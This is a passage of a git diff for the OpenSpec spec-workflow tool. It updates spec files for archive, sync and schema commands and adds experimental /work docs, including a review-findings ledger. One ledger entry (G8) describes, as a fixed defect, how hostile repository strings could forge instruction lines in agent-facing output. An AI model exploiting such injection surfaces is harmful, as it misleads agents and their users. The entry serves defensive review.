└── design.md # HOW (optional, for established patterns) └── changes/ # Proposed changes @@ -56,7 +56,7 @@ openspec/ │ ├── tasks.md # Implementation checklist │ ├── design.md # Technical decisions (optional) │ └── specs/ # Complete future state - │ └── [capability]/ + │ └── <capability-path>/ │ └── spec.md # Clean markdown (no diff syntax) └── archive/ # Completed changes └── YYYY-MM-DD-[name]/ @@ -150,10 +150,18 @@ Change proposals SHALL store only the additions, modifications, and removals to The `changes/[name]/specs/` directory SHALL contain: - Delta files showing only what changes - Sections for ADDED, MODIFIED, REMOVED, and RENAMED requirements +- An optional `## Purpose` section on deltas that introduce a new capability - Normalized header matching for requirement identification - Complete requirements using the structured format - Clear indication of change type for each requirement +#### Scenario: Introducing a new capability + +- **WHEN** a delta introduces a capability that has no main spec yet +- **THEN** the delta MAY open with a `## Purpose` section describing the capability +- **AND** that Purpose SHALL seed the main spec created for it +- **AND** a delta for a capability that already has a main spec SHOULD NOT carry a `## Purpose`, because the existing Purpose is authoritative and the delta's is ignored + #### Scenario: Using standard output symbols - **WHEN** displaying delta operations in CLI output @@ -175,8 +183,10 @@ The archive process SHALL programmatically apply delta changes to current specif 2. Parse REMOVED sections and remove by normalized header match 3. Parse MODIFIED sections and replace by normalized header match (using new names if renamed) 4. Parse ADDED sections and append new requirements -- **AND** validate that all MODIFIED/REMOVED headers exist in current spec -- **AND** validate that ADDED headers don't already exist +- **AND** validate that all MODIFIED headers exist in current spec +- **AND** treat a REMOVED header that is already absent as already removed (warn and continue; a REMOVED header that names the FROM side of a RENAMED in the same delta — compared case- and whitespace-insensitively — or that differs only in case or whitespace from an existing requirement, is a conflict) +- **AND** treat an ADDED header that already exists with identical content as already synced (differing content is a conflict) +- **AND** treat a RENAMED whose source is gone but target present as already synced - **AND** generate the updated spec in the main specs/ directory #### Scenario: Handling conflicts during archive @@ -214,7 +224,7 @@ The system SHALL support multiple methods for reviewing proposed changes. - **WHEN** reviewing proposed changes - **THEN** reviewers can compare using: - GitHub PR diff view when changes are committed -- Command line: `diff -u specs/[capability]/spec.md changes/[name]/specs/[capability]/spec.md` +- Command line: `diff -u "specs/<capability-path>/spec.md" "changes/<name>/specs/<capability-path>/spec.md"` - Any visual diff tool comparing current vs future state ### Requirement: Structured Format Adoption @@ -244,254 +254,3 @@ OpenSpec CLI design SHALL use verbs as top-level commands with nouns provided as - **WHEN** item names are ambiguous between changes and specs - **THEN** `openspec show` and `openspec validate` SHALL accept `--type spec|change` - **AND** the help text SHALL document this clearly - -## Core Principles - -The system SHALL follow these principles: -- Specs reflect what IS currently built and deployed -- Changes contain proposals for what SHOULD be changed -- AI drives the documentation process -- Specs are living documentation kept in sync with deployed code - -## Directory Structure - -### Project Structure - -An OpenSpec project SHALL maintain a consistent directory structure for specifications and changes. - -#### Scenario: Initializing project structure - -- **WHEN** an OpenSpec project is initialized -- **THEN** it SHALL have this structure: -``` -openspec/ -├── project.md # Project-specific context -├── AGENTS.md # AI assistant instructions -├── specs/ # Current deployed capabilities -│ └── [capability]/ # Single, focused capability -│ ├── spec.md # WHAT and WHY -│ └── design.md # HOW (optional, for established patterns) -└── changes/ # Proposed changes - ├── [change-name]/ # Descriptive change identifier - │ ├── proposal.md # Why, what, and impact - │ ├── tasks.md # Implementation checklist - │ ├── design.md # Technical decisions (optional) - │ └── specs/ # Complete future state - │ └── [capability]/ - │ └── spec.md # Clean markdown (no diff syntax) - └── archive/ # Completed changes - └── YYYY-MM-DD-[name]/ -``` - -## Specification Format - -### Behavioral Spec Format - -Behavioral specifications SHALL use a structured format with consistent section headers and keywords to ensure visual consistency and parseability. - -#### Scenario: Writing requirement sections - -- **WHEN** documenting a requirement in a behavioral specification -- **THEN** use a level-3 heading with format `### Requirement: [Name]` -- **AND** immediately follow with a SHALL statement describing core behavior -- **AND** keep requirement names descriptive and under 50 characters - -#### Scenario: Documenting scenarios - -- **WHEN** documenting specific behaviors or use cases -- **THEN** use level-4 headings with format `#### Scenario: [Description]` -- **AND** use bullet points with bold keywords for steps: - - **GIVEN** for initial state (optional) - - **WHEN** for conditions or triggers - - **THEN** for expected outcomes - - **AND** for additional outcomes or conditions - -#### Scenario: Adding implementation details - -- **WHEN** a step requires additional detail -- **THEN** use sub-bullets under the main step -- **AND** maintain consistent indentation - - Sub-bullets provide examples or specifics - - Keep sub-bullets concise - -## Change Storage Convention - -### Header-Based Requirement Identification - -Requirement headers SHALL serve as unique identifiers for programmatic matching between current specs and proposed changes. - -#### Scenario: Matching requirements programmatically - -- **WHEN** processing delta changes -- **THEN** use the `### Requirement: [Name]` header as the unique identifier -- **AND** match using normalized headers: `normalize(header) = trim(header)` -- **AND** compare headers with case-sensitive equality after normalization - -#### Scenario: Handling requirement renames - -- **WHEN** renaming a requirement -- **THEN** use a special `## RENAMED Requirements` section -- **AND** specify both old and new names explicitly: - ```markdown - ## RENAMED Requirements - - FROM: `### Requirement: Old Name` - - TO: `### Requirement: New Name` - ``` -- **AND** if content also changes, include under MODIFIED using the NEW header - -#### Scenario: Validating header uniqueness - -- **WHEN** creating or modifying requirements -- **THEN** ensure no duplicate headers exist within a spec -- **AND** validation tools SHALL flag duplicate headers as errors - -### Change Storage Convention - -Change proposals SHALL store only the additions, modifications, and removals to specifications, not complete future states. - -#### Scenario: Creating change proposals with additions - -- **WHEN** creating a change proposal that adds new requirements -- **THEN** include only the new requirements under `## ADDED Requirements` -- **AND** each requirement SHALL include its complete content -- **AND** use the standard structured format for requirements and scenarios - -#### Scenario: Creating change proposals with modifications - -- **WHEN** creating a change proposal that modifies existing requirements -- **THEN** include the modified requirements under `## MODIFIED Requirements` -- **AND** use the same header text as in the current spec (normalized) -- **AND** include the complete modified requirement (not a diff) -- **AND** optionally annotate what changed with inline comments like `← (was X)` - -#### Scenario: Creating change proposals with removals - -- **WHEN** creating a change proposal that removes requirements -- **THEN** list them under `## REMOVED Requirements` -- **AND** use the normalized header text for identification -- **AND** include reason for removal -- **AND** document any migration path if applicable - -The `changes/[name]/specs/` directory SHALL contain: -- Delta files showing only what changes -- Sections for ADDED, MODIFIED, REMOVED, and RENAMED requirements -- Normalized header matching for requirement identification -- Complete requirements using the structured format -- Clear indication of change type for each requirement - -#### Scenario: Using standard output symbols - -- **WHEN** displaying delta operations in CLI output -- **THEN** use these standard symbols: - - `+` for ADDED (green) - - `~` for MODIFIED (yellow) - - `-` for REMOVED (red) - - `→` for RENAMED (cyan) - -### Archive Process Enhancement - -The archive process SHALL programmatically apply delta changes to current specifications using header-based matching. - -#### Scenario: Archiving changes with deltas - -- **WHEN** archiving a completed change -- **THEN** the archive command SHALL: - 1. Parse RENAMED sections first and apply renames - 2. Parse REMOVED sections and remove by normalized header match - 3. Parse MODIFIED sections and replace by normalized header match (using new names if renamed) - 4. Parse ADDED sections and append new requirements -- **AND** validate that all MODIFIED/REMOVED headers exist in current spec -- **AND** validate that ADDED headers don't already exist -- **AND** generate the updated spec in the main specs/ directory - -#### Scenario: Handling conflicts during archive - -- **WHEN** delta changes conflict with current spec state -- **THEN** the archive command SHALL report specific conflicts -- **AND** require manual resolution before proceeding -- **AND** provide clear guidance on resolving conflicts - -### Proposal Format - -Proposals SHALL explicitly document all changes with clear from/to comparisons. - -#### Scenario: Documenting changes - -- **WHEN** documenting what changes -- **THEN** the proposal SHALL explicitly describe each change: - -```markdown -**[Section or Behavior Name]** -- From: [current state/requirement] -- To: [future state/requirement] -- Reason: [why this change is needed] -- Impact: [breaking/non-breaking, who's affected] -``` - -This explicit format compensates for not having inline diffs and ensures reviewers understand exactly what will change. - -## Change Lifecycle - -The change process SHALL follow these states: - -1. **Propose**: AI creates change with future state specs and explicit proposal -2. **Review**: Humans review proposal and future state -3. **Approve**: Change is approved for implementation -4. **Implement**: Follow tasks.md checklist (can span multiple PRs) -5. **Deploy**: Changes are deployed to production -6. **Update**: Specs in `specs/` are updated to match deployed reality -7. **Archive**: Change is moved to `archive/YYYY-MM-DD-[name]/` - -## Viewing Changes - -### Change Review - -The system SHALL support multiple methods for reviewing proposed changes. - -#### Scenario: Reviewing changes - -- **WHEN** reviewing proposed changes -- **THEN** reviewers can compare using: -- GitHub PR diff view when changes are committed -- Command line: `diff -u specs/[capability]/spec.md changes/[name]/specs/[capability]/spec.md` -- Any visual diff tool comparing current vs future state - -The system relies on tools to generate diffs rather than storing them. - -## Capability Naming - -Capabilities SHALL use: -- Verb-noun patterns (e.g., `user-auth`, `payment-capture`) -- Hyphenated lowercase names -- Singular focus (one responsibility per capability) -- No nesting (flat structure under `specs/`) - -## When Changes Require Proposals - -A proposal SHALL be created for: -- New features or capabilities -- Breaking changes to existing behavior -- Architecture or pattern changes -- Performance optimizations that change behavior -- Security updates affecting access patterns - -A proposal is NOT required for: -- Bug fixes restoring intended behavior -- Typos or formatting fixes -- Non-breaking dependency updates -- Adding tests for existing behavior -- Documentation clarifications - -## Why This Approach - -Clean future state storage provides: -- **Readability**: No diff syntax pollution -- **AI-compatibility**: Standard markdown that AI tools understand -- **Simplicity**: No special parsing or processing needed -- **Tool-agnostic**: Any diff tool can show changes -- **Clear intent**: Explicit proposals document reasoning - -The structured format adds: -- **Visual Consistency**: Requirement and Scenario prefixes make sections instantly recognizable -- **Parseability**: Consistent structure enables tooling and automation -- **Gradual Adoption**: Existing specs can migrate incrementally diff --git a/openspec/specs/opsx-archive-skill/spec.md b/openspec/specs/opsx-archive-skill/spec.md index 2dbb04c529..2c76461e54 100644 --- a/openspec/specs/opsx-archive-skill/spec.md +++ b/openspec/specs/opsx-archive-skill/spec.md @@ -15,14 +15,15 @@ The system SHALL provide an `/opsx:archive` skill that archives completed change - **WHEN** agent executes `/opsx:archive` with a change name - **AND** all artifacts in the schema are complete - **AND** all tasks are complete -- **THEN** the agent moves the change to `openspec/changes/archive/YYYY-MM-DD-<name>/` +- **THEN** the agent moves the change to `openspec/changes/archive/<target-name>/` - **AND** displays success message with archived location #### Scenario: Change selection prompt - **WHEN** agent executes `/opsx:archive` without specifying a change -- **THEN** the agent prompts user to select from available changes -- **AND** shows only active changes (excludes archive/) +- **THEN** the agent infers the change from conversation context, or auto-selects it when only one active change exists +- **AND** when ambiguous, prompts user to select from available changes, showing only active changes (excludes archive/) +- **AND** announces which change was selected and how to override ### Requirement: Artifact Completion Check @@ -74,8 +75,12 @@ The skill SHALL prompt to sync delta specs before archiving if specs exist. - **WHEN** agent checks for delta specs - **AND** `specs/` directory exists in the change with spec files - **THEN** prompt user: "This change has delta specs. Would you like to sync them to main specs before archiving?" -- **AND** if user confirms, execute `/opsx:sync` logic -- **AND** proceed with archive regardless of sync choice +- **AND** if user cancels, stop without archiving +- **AND** if user confirms, execute `/opsx:sync` logic inline and wait for it to complete +- **AND** verify every capability that has a delta spec, not only those the sync reports it touched: ADDED requirements present, MODIFIED requirements carrying the changes named in the delta, REMOVED requirements absent, RENAMED requirements present under the new name and absent under the old one +- **AND** treat a capability whose last requirement the sync removed as verified when its main spec was deleted rather than left empty, and a spec the sync deliberately kept and reported as verified too +- **AND** stop without archiving if the sync fails or any capability does not verify +- **AND** archive only after verification passes, or when the user explicitly chose to archive without syncing or to archive already-synced specs #### Scenario: No delta specs @@ -91,7 +96,7 @@ The skill SHALL move the change to the archive folder with date prefix. - **WHEN** archiving a change - **THEN** create `archive/` directory if it doesn't exist -- **AND** generate target name as `YYYY-MM-DD-<change-name>` using current date +- **AND** generate target name as `YYYY-MM-DD-<change-name>` using current date, keeping the name as-is when it already starts with a `YYYY-MM-DD-` prefix - **AND** move entire change directory to archive location - **AND** preserve `.openspec.yaml` file in archived change diff --git a/openspec/specs/opsx-verify-skill/spec.md b/openspec/specs/opsx-verify-skill/spec.md index 0c6f23da18..91562c0e55 100644 --- a/openspec/specs/opsx-verify-skill/spec.md +++ b/openspec/specs/opsx-verify-skill/spec.md @@ -14,8 +14,9 @@ The system SHALL provide an `/opsx:verify` skill that validates implementation a #### Scenario: Verify without change name - **WHEN** agent executes `/opsx:verify` without a change name -- **THEN** the agent prompts user to select from available changes -- **AND** shows only changes that have implementation tasks +- **THEN** the agent infers the change from conversation context, or auto-selects it when only one active change exists +- **AND** when ambiguous, prompts user to select from available changes, showing only changes that have implementation tasks +- **AND** announces which change was selected and how to override #### Scenario: Change has no tasks - **WHEN** selected change has no tasks.md or tasks are empty diff --git a/openspec/specs/schema-init-command/spec.md b/openspec/specs/schema-init-command/spec.md index f5017dc4fe..88fb170382 100644 --- a/openspec/specs/schema-init-command/spec.md +++ b/openspec/specs/schema-init-command/spec.md @@ -2,7 +2,6 @@ ## Purpose Define `openspec schema init` behavior for creating project-local schema skeletons in interactive and non-interactive modes. - ## Requirements ### Requirement: Schema init command creates project-local schema The CLI SHALL provide an `openspec schema init <name>` command that creates a new schema directory under `openspec/schemas/<name>/` with a valid `schema.yaml` file and default template files. @@ -74,3 +73,23 @@ The CLI SHALL support `--json` flag for machine-readable output. - **THEN** system outputs JSON with `error` field describing the issue - **AND** exits with non-zero code +### Requirement: Schema init validates artifacts before forced replacement +The CLI SHALL validate all requested artifact IDs before replacing an existing project-local schema. If artifact validation fails, the CLI SHALL leave the existing schema directory and all of its contents unchanged on every supported platform. + +#### Scenario: Unknown artifact preserves existing schema +- **GIVEN** `openspec/schemas/tdd-driven/` already exists with user-authored files +- **WHEN** the user runs `schema init tdd-driven` with `--force` and an artifact list containing the unknown ID `task` +- **THEN** the command exits with a non-zero status and reports the unknown artifact +- **AND** the existing `tdd-driven` schema directory and its contents remain unchanged + +#### Scenario: Unknown artifact preserves a schema at a Windows project path +- **GIVEN** an existing project-local schema is resolved from a Windows filesystem path +- **WHEN** forced schema initialization fails artifact validation +- **THEN** the resolved schema directory and its contents remain unchanged + +#### Scenario: Valid artifacts allow forced replacement +- **GIVEN** a project-local schema already exists +- **WHEN** the user runs `schema init` with `--force` and only valid artifact IDs +- **THEN** the command replaces the existing schema with the newly generated schema +- **AND** reports successful creation + diff --git a/openspec/specs/schema-resolution/spec.md b/openspec/specs/schema-resolution/spec.md index b8c0caace2..a25b5fb151 100644 --- a/openspec/specs/schema-resolution/spec.md +++ b/openspec/specs/schema-resolution/spec.md @@ -2,7 +2,6 @@ ## Purpose Define project-local schema resolution behavior, including precedence order (project-local, then user override, then package built-in) and backward-compatible fallback when `projectRoot` is not provided. - ## Requirements ### Requirement: Project-local schema resolution @@ -93,14 +92,14 @@ The `openspec schemas` command SHALL display the source of each schema. ### Requirement: Use config schema as default for new changes -The system SHALL use the schema field from `openspec/config.yaml` as the default when creating new changes without explicit `--schema` flag. +The system SHALL use the schema field from `openspec/config.yaml` as the default when creating new changes without explicit `--schema` flag and no planning-home default applies. #### Scenario: Create change without --schema flag and config exists -- **WHEN** user runs `openspec new change foo` and config contains `schema: "tdd"` +- **WHEN** user runs `openspec new change foo`, no planning-home default applies, and config contains `schema: "tdd"` - **THEN** system creates change with schema "tdd" #### Scenario: Create change without --schema flag and no config -- **WHEN** user runs `openspec new change foo` and no config file exists +- **WHEN** user runs `openspec new change foo`, no planning-home default applies, and no config file exists - **THEN** system creates change with default schema "spec-driven" #### Scenario: Create change with explicit --schema flag @@ -109,7 +108,7 @@ The system SHALL use the schema field from `openspec/config.yaml` as the default ### Requirement: Resolve schema with updated precedence order -The system SHALL resolve the schema for a change using the following precedence order: CLI flag, change metadata, project config, hardcoded default. +The system SHALL resolve the schema for a change using the following precedence order: CLI flag, change metadata, planning-home default, project config, hardcoded default. #### Scenario: CLI flag is provided - **WHEN** user runs command with `--schema custom` @@ -120,11 +119,11 @@ The system SHALL resolve the schema for a change using the following precedence - **THEN** system uses "bound" from change metadata #### Scenario: Only project config specifies schema -- **WHEN** no CLI flag or change metadata, but config has `schema: tdd` +- **WHEN** no CLI flag, change metadata, or planning-home default exists, but config has `schema: tdd` - **THEN** system uses "tdd" from project config #### Scenario: No schema specified anywhere -- **WHEN** no CLI flag, change metadata, or project config +- **WHEN** no CLI flag, change metadata, planning-home default, or project config - **THEN** system uses hardcoded default "spec-driven" ### Requirement: Support project-local schema names in config diff --git a/openspec/specs/specs-sync-skill/spec.md b/openspec/specs/specs-sync-skill/spec.md index 780c6e15b5..3d14288802 100644 --- a/openspec/specs/specs-sync-skill/spec.md +++ b/openspec/specs/specs-sync-skill/spec.md @@ -21,8 +21,9 @@ The system SHALL provide an `/opsx:sync` skill that syncs delta specs from a cha #### Scenario: Change selection prompt - **WHEN** agent executes `/opsx:sync` without specifying a change -- **THEN** the agent prompts user to select from available changes -- **AND** shows changes that have delta specs +- **THEN** the agent infers the change from conversation context, or auto-selects it when only one active change exists +- **AND** when ambiguous, prompts user to select from available changes, showing changes that have delta specs +- **AND** announces which change was selected and how to override ### Requirement: Delta Reconciliation Logic The agent SHALL reconcile main specs with delta specs using the delta operation headers. @@ -47,6 +48,22 @@ The agent SHALL reconcile main specs with delta specs using the delta operation - **AND** the requirement exists in main spec - **THEN** remove the requirement from main spec +#### Scenario: REMOVED requirements retire the capability +- **WHEN** removing the requirements named in the delta leaves no requirement blocks +- **AND** every other nonblank line in the whole file is accounted for as the title, Purpose, Requirements header, or a canonical requirement's statement, scenarios, or fenced examples +- **AND** the rest of the spec is well-formed and it was not already empty before this sync +- **AND** the change declares `retire_capabilities: true` in its metadata +- **AND** the `spec.md` resolves inside the real specs root +- **THEN** delete that capability's `spec.md`, and its directory once nothing else remains in it +- **AND** report the retirement and name the deleted `## Purpose` +- **AND** leave the file in place and say the marker is missing when it is not declared + +#### Scenario: Something is left in the spec +- **WHEN** any of those conditions fails - unaccounted content remains anywhere in the file, the spec is malformed, or nothing was removed this run +- **THEN** do not modify the main spec and stop the sync for that capability +- **AND** report the blocking condition and how the user can resolve it +- **AND** never write or leave an empty `## Requirements` section + #### Scenario: RENAMED requirements - **WHEN** delta contains `## RENAMED Requirements` with FROM:/TO: format - **AND** the FROM requirement exists in main spec @@ -54,7 +71,14 @@ The agent SHALL reconcile main specs with delta specs using the delta operation #### Scenario: New capability spec - **WHEN** delta spec exists for a capability not in main specs -- **THEN** create new main spec file at `openspec/specs/<capability>/spec.md` +- **THEN** create new main spec file at `openspec/specs/<capability-path>/spec.md`, preserving the delta's path relative to `specs/` +- **AND** copy the delta's `## Purpose` body into it when the delta has one, matching what `openspec archive` does +- **AND** write a brief TBD placeholder Purpose only when the delta has none + +#### Scenario: Merged main spec keeps canonical structure +- **WHEN** the agent writes a main spec during sync +- **THEN** every requirement lives under a single `## Requirements` section +- **AND** the main spec contains no delta operation headers (`## ADDED/MODIFIED/REMOVED/RENAMED Requirements`) ### Requirement: Skill Output The skill SHALL provide clear feedback on what was applied. diff --git a/openspec/work/AGENTS.md b/openspec/work/AGENTS.md new file mode 100644 index 0000000000..01da7ee7fd --- /dev/null +++ b/openspec/work/AGENTS.md @@ -0,0 +1,35 @@ +# Agent Guidance For `/work` + +When working in this directory, use a product-facing lens first. + +Start from how the work is experienced by users, not from the internal command +or file structure. In this product there are two users: + +- Humans: they usually do OpenSpec work by prompting agents. They may run shell + commands for interactive setup or one-off actions, but prompts are the normal + interface. +- Agents: they need clear intent, discoverable state, unambiguous next actions, + and enough structured output to act safely. + +Good human UX is usually good agent UX. A flow that is easy for a human to ask +for and understand is usually easier for an agent to execute, verify, and +explain. + +For roadmap or slice exploration: + +- Describe the user-facing flow before the internal implementation. +- Ask what the human sees, asks for, approves, or corrects. +- Ask what the agent must discover, decide, execute, and report back. +- Ground reasoning in the current repo behavior before proposing new shape. +- Treat shell commands as supporting mechanics, not the primary product story. +- Prefer concrete workflows over abstract model language. + +When an answer gets confusing, reframe it as: + +```text +What does the human want? +What does the agent need to know? +Where does the work live? +What changes on disk? +How does the user know it worked? +``` diff --git a/openspec/work/README.md b/openspec/work/README.md new file mode 100644 index 0000000000..4fedc48641 --- /dev/null +++ b/openspec/work/README.md @@ -0,0 +1,87 @@ +# OpenSpec Work + +This directory is an experimental home for Git-native work artifacts. + +The current experiment separates the work model into four layers: + +```text +goal -> roadmap -> slice -> result +``` + +- `goal.md` describes the destination: what we are trying to make true and why. +- `roadmap.md` describes the current path toward that goal. It is expected to + change as implementation reveals better sequencing. +- `slices/<id>/spec.md` describes one small desired outcome. +- `slices/<id>/plan.md` describes how that slice will be implemented and + verified. +- `slices/<id>/result.md` records what actually happened and the evidence that + the slice passed, failed, or needs follow-up. +- `slices/<id>/log.md` is optional. Use it only when important changes need a + short explanation of what changed, why, and what downstream artifacts were + affected. + +The goal is to keep high-level work lightweight while still giving agents and +humans enough structure to move one slice at a time. + +Rule of thumb: + +```text +spec.md says what must be true. +plan.md says how we intend to get there. +result.md says what actually happened. +``` + +## Shape + +```text +openspec/work/ + README.md + <work-id>/ + goal.md + roadmap.md + slices/ + <slice-id>/ + spec.md + plan.md + result.md + log.md +``` + +## Workflow + +Start with the goal, then maintain a loose roadmap. The roadmap is a living +sequence of likely slices, not a promise to execute everything in order. + +For each slice: + +1. Explore and interview until the slice has a useful `spec.md`. +2. Generate `plan.md` only when the spec is clear enough to implement. +3. Execute the plan. +4. Record proof, verification output, and follow-ups in `result.md`. +5. Update `roadmap.md` when the result changes the path forward. + +## Revision Rules + +Edit `spec.md` when the desired slice outcome changes. + +Edit `plan.md` when the implementation path changes but the slice outcome is +still the same. + +Create or update `result.md` when implementation or verification has happened. +Do not use it as the source of truth for current intent. + +Add `log.md` entries when a meaningful pivot would be hard to understand from +the final files alone. + +Create a new slice when the new work can be accepted, scheduled, verified, or +shipped independently. + +## Compatibility + +This directory is experimental. Current OpenSpec CLI validation, archive, and +spec update behavior still centers on `openspec/changes/` and +`openspec/specs/`. + +Use `/work` to coordinate and learn. When a slice needs today's executable +OpenSpec lifecycle, project that slice into a normal `openspec/changes/<id>/` +artifact until `/work` has first-class CLI support. diff --git a/openspec/work/simplify-context-and-workspace-model/capstone/gauntlet.md b/openspec/work/simplify-context-and-workspace-model/capstone/gauntlet.md new file mode 100644 index 0000000000..d7da40cf5f --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/capstone/gauntlet.md @@ -0,0 +1,77 @@ +# Capstone Whole-Delta Review Gauntlet (6.1) — Findings Ledger + +Run 2026-06-11 over `origin/main...HEAD` with four mechanisms: +`/code-review` at max effort (3 finder fan-outs + a 12-candidate +verification pass + gap sweep), a 32-agent adversarial Workflow +(six lenses × refute-style verification + completeness critic), a +codex whole-delta review, and the audits' queued items. Every finding +below was CONFIRMED (most live-reproduced). Status column tracks the +fix round. + +## P1 (2) + +| # | Finding | Status | +|---|---------|--------| +| G1 | The recommended `~/openspec/<id>` layout makes `$HOME` a "nearest" root: any `openspec/` DIRECTORY counts in the walk, so every lifecycle command under the home tree silently lands planning files in `$HOME/openspec/changes/` and the registered-store hint never fires. | **fixed** (37ad867; live re-verified) | +| G2 | `status`/`instructions` `--json` thrown errors emit NO JSON document (plus a stray blank line on stdout); part of the broader JSON-failure-contract family. | **fixed** (37ad867; live re-verified) | + +## P2 (13) + +| # | Finding | Status | +|---|---------|--------| +| G3 | The JSON failure contract family: `show`/`validate` unknown item, `list` (no failurePayload AND the changes-dir throw), `store <unknown subcommand>`, all exit 1 with zero JSON on stdout; agent-contract.md currently claims this fixed. | **fixed** (37ad867; live re-verified) | +| G4 | `doctor`/`context` miss the shared `--store-path` rejection seam (Commander unknown-option instead of the typed `store_path_not_supported`). | **fixed** (37ad867; live re-verified) | +| G5 | doctor's unguarded `gitOriginUrl(root.path)` walks UP: a non-repo store nested in another checkout reports the enclosing repo's origin + spurious `store_remote_divergence` (live-reproduced; violates operations.ts's own documented guard). | **fixed** (37ad867; live re-verified) | +| G6 | Stale registry lock = permanent `store_registry_busy` with a fix that can never work; Ctrl-C during `store remove` (which holds the lock across a recursive rm) orphans it; doctor is blind to it; EACCES also misreported as busy. | **fixed** (37ad867; live re-verified) | +| G7 | Config-only roots: `new change` creates the change but never completes the shape (the scaffold guard fires only when `openspec/` is wholly absent) — doctor immediately calls the root the tool just wrote to unhealthy. | **fixed** (37ad867; live re-verified) | +| G8 | Prompt-injection surface: target `remote` strings, referenced-store spec ids (raw directory names), and Purpose summaries render verbatim into `<referenced_stores>`/instruction output — newlines/control chars from a hostile clone can forge instruction lines. | **fixed** (37ad867; live re-verified) | +| G9 | Five more accepted specs REQUIRE deleted behavior (artifact-graph, schema-resolution, change-creation P2; cli-update, openspec-conventions P3) — the L2 excision covered only cli-config/cli-artifact-workflow. | **fixed** (37ad867; live re-verified) | +| G10 | Generated workflow skills still instruct agents to parse `planningHome` from status JSON surfaces that changed (archive-change template). | **fixed** (37ad867; live re-verified) | +| G11 | The generated zsh completion script is syntactically invalid — the `--store` description's apostrophe ("you've") breaks zsh quoting (completeness critic, live). | **fixed** (37ad867; live re-verified) | +| G12 | `store remove` deletes the store folder BEFORE the registry write commits — a failed commit leaves a phantom registration pointing at deleted files. | **fixed** (37ad867; live re-verified) | +| G13 | Setup's prepare/execute split: directory policy (non-empty, nested-git) is asserted only at prepare; the interactive confirm gap is unbounded, and the rollback's `kind === 'missing'` branch recursively deletes content setup never created (live-reproduced both sides). | **fixed** (37ad867; live re-verified) | +| G14 | Orphaned fresh `.git` after a failed initial commit (cleanup nested under `createdPaths.length > 0`); a rerun then registers a commitless store — the exact empty-clone state the slice exists to prevent. | **fixed** (37ad867; live re-verified) | +| G15 | Registry rollback race: `commitStoreRegistration`'s catch deletes store metadata outside the lock and can delete metadata a concurrently committed registration depends on (live-reproduced; P3→P2 borderline, queued with G12/G13). | **fixed** (37ad867; live re-verified) | + +## P3 (taken-cheap vs recorded) + +Queued for the fix round (cheap, mechanical): fence-marker desync in +purpose extraction; stat-EACCES-as-absent in `pathIsFile` (registered +stores reported unregistered with clone fixes); `existsSync` vs +`isDirectory` in the stale-target sweep (a FILE at a mapped path +presents available and lands in the code-workspace); the scaffolded +config baking a one-off `--schema` as the root default; `list --json` +compact-vs-pretty inconsistency; the declared-pointer repo-id fix text; +the root-relative "Created change at" print (absolute path instead); +write-side cross-section overlap check; docs fixes (affected_areas +wording, `--remote` in the setup options table, `vibe` in --tools, +the stale `list` output example); the dead-code P3 queue from the +technical audits (apply fallback + resolveCurrentPlanningHomeSync, +resolveRegisteredStore, references barrel line, PlanningHomeSummary, +parseJson consolidation). + +Recorded as known gaps for the report (not fixed this round, mapped to +Later Ideas / release notes): registry fsync durability; the reference +index byte budget growing linearly past 50KB at extreme reference +counts; Windows clone-recipe quoting (single quotes vs cmd.exe); +`view`/`templates`/`schemas`/deprecated noun forms remaining cwd-based +(documented in the agent contract); completions enumerating ids from +bare cwd; the cross-platform CI matrix not run on this branch; +semver/changeset planning for the deleted CLI surface; README not yet +describing the store model (L1 — public concept docs rewrite). + +## Verdicts + +- codex: FIX-FIRST (2 P2, 1 P3 — all in the table above). +- Workflow (32 agents, 6 lenses, refute-style verification): 25 + confirmed findings + 7 completeness gaps — all triaged above. +- /code-review max: 12/12 candidates CONFIRMED by the verification + pass (3 cross-finding violations of the code's own documented + invariants) + 6 gap-sweep finds — all triaged above. + +All 15 P1/P2 findings were fixed in commit 37ad867 and re-verified by +live probes (the JSON contract codes, the --store-path seam, the +stale-lock steal, the config-only scaffold completion, the phantom-root +regression test) plus the full suite (97 files, 1,761 tests). The +queued-cheap P3 set landed in the same commit; the recorded-for-report +items appear in the release-readiness report's known gaps. diff --git a/openspec/work/simplify-context-and-workspace-model/capstone/journeys.md b/openspec/work/simplify-context-and-workspace-model/capstone/journeys.md new file mode 100644 index 0000000000..49ab785873 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/capstone/journeys.md @@ -0,0 +1,54 @@ +# Capstone Persona Journeys (6.1) — Results + +Executed 2026-06-11 against the branch head. All four pass. + +## Journey 1 — Fresh team: PASS (standing e2e) + +`test/cli-e2e/store-lifecycle.test.ts` (the 1.3 journey, maintained +through the rename and deletions): machine A creates a store via +`store setup` (committed, clonable), works a change through archive +from a pointer project repo, the project repo stays byte-identical; +machine B clones, registers without ceremony, reads promoted specs. +Green in every full-suite run (now part of the 1,761-test suite). + +## Journey 2 — Layered PM-to-dev flow: PASS (new e2e) + +`test/cli-e2e/capstone-journeys.test.ts`: requirements live in a +`product-requirements` store; the app repo has its OWN root and a +`references:` declaration. The agent discovers the relationship from +config alone (`openspec context --json` surfaces the member with its +fetch recipe), follows the recipe verbatim to cite the upstream spec +(`openspec show billing-rules --type spec --store product-requirements`), +and the low-level design change lands in the app repo's root while the +store stays read-only throughout. + +## Journey 3 — Externalized planning: PASS (new e2e) + +Same file: a code repo with NO local root and only `store: team-planning` +in its config runs the entire lifecycle — new change, status, +instructions for every artifact, archive — with ZERO `--store` flags. +The change lives and archives in the store; the code repo never grows +planning state (its `openspec/` still holds only `config.yaml` at the +end). + +## Journey 4 — Cold-start agent: PASS (headless dogfood) + +A fresh codex headless session (gpt-5.5, medium reasoning) in a scratch +world: a `billing-app` TypeScript project, the `openspec` CLI on PATH, +isolated XDG state, and ONLY the vague prompt "set up planning in a +separate repo for this project... discover how it works from its +--help output." No insider knowledge. + +The agent produced the then-intended topology unprompted: + +- `openspec store setup billing-app-planning` → a standalone planning + repo with specs/changes/config/store metadata, its own git history; +- the pointer `store: billing-app-planning` written into the project + repo's `openspec/config.yaml`; +- self-verified with `openspec doctor`, `openspec context`, and + `openspec validate --all --store billing-app-planning`. + +Independently verified after the run: `openspec context --json` from +inside `billing-app` resolves the declared root. Later review removed the +code-repo relationship portion; the retained proof here is the store setup and +pointer flow. diff --git a/openspec/work/simplify-context-and-workspace-model/capstone/release-readiness.md b/openspec/work/simplify-context-and-workspace-model/capstone/release-readiness.md new file mode 100644 index 0000000000..6781068248 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/capstone/release-readiness.md @@ -0,0 +1,125 @@ +# Release-Readiness Report — simplify-context-and-workspace-model + +Committed 2026-06-11 on 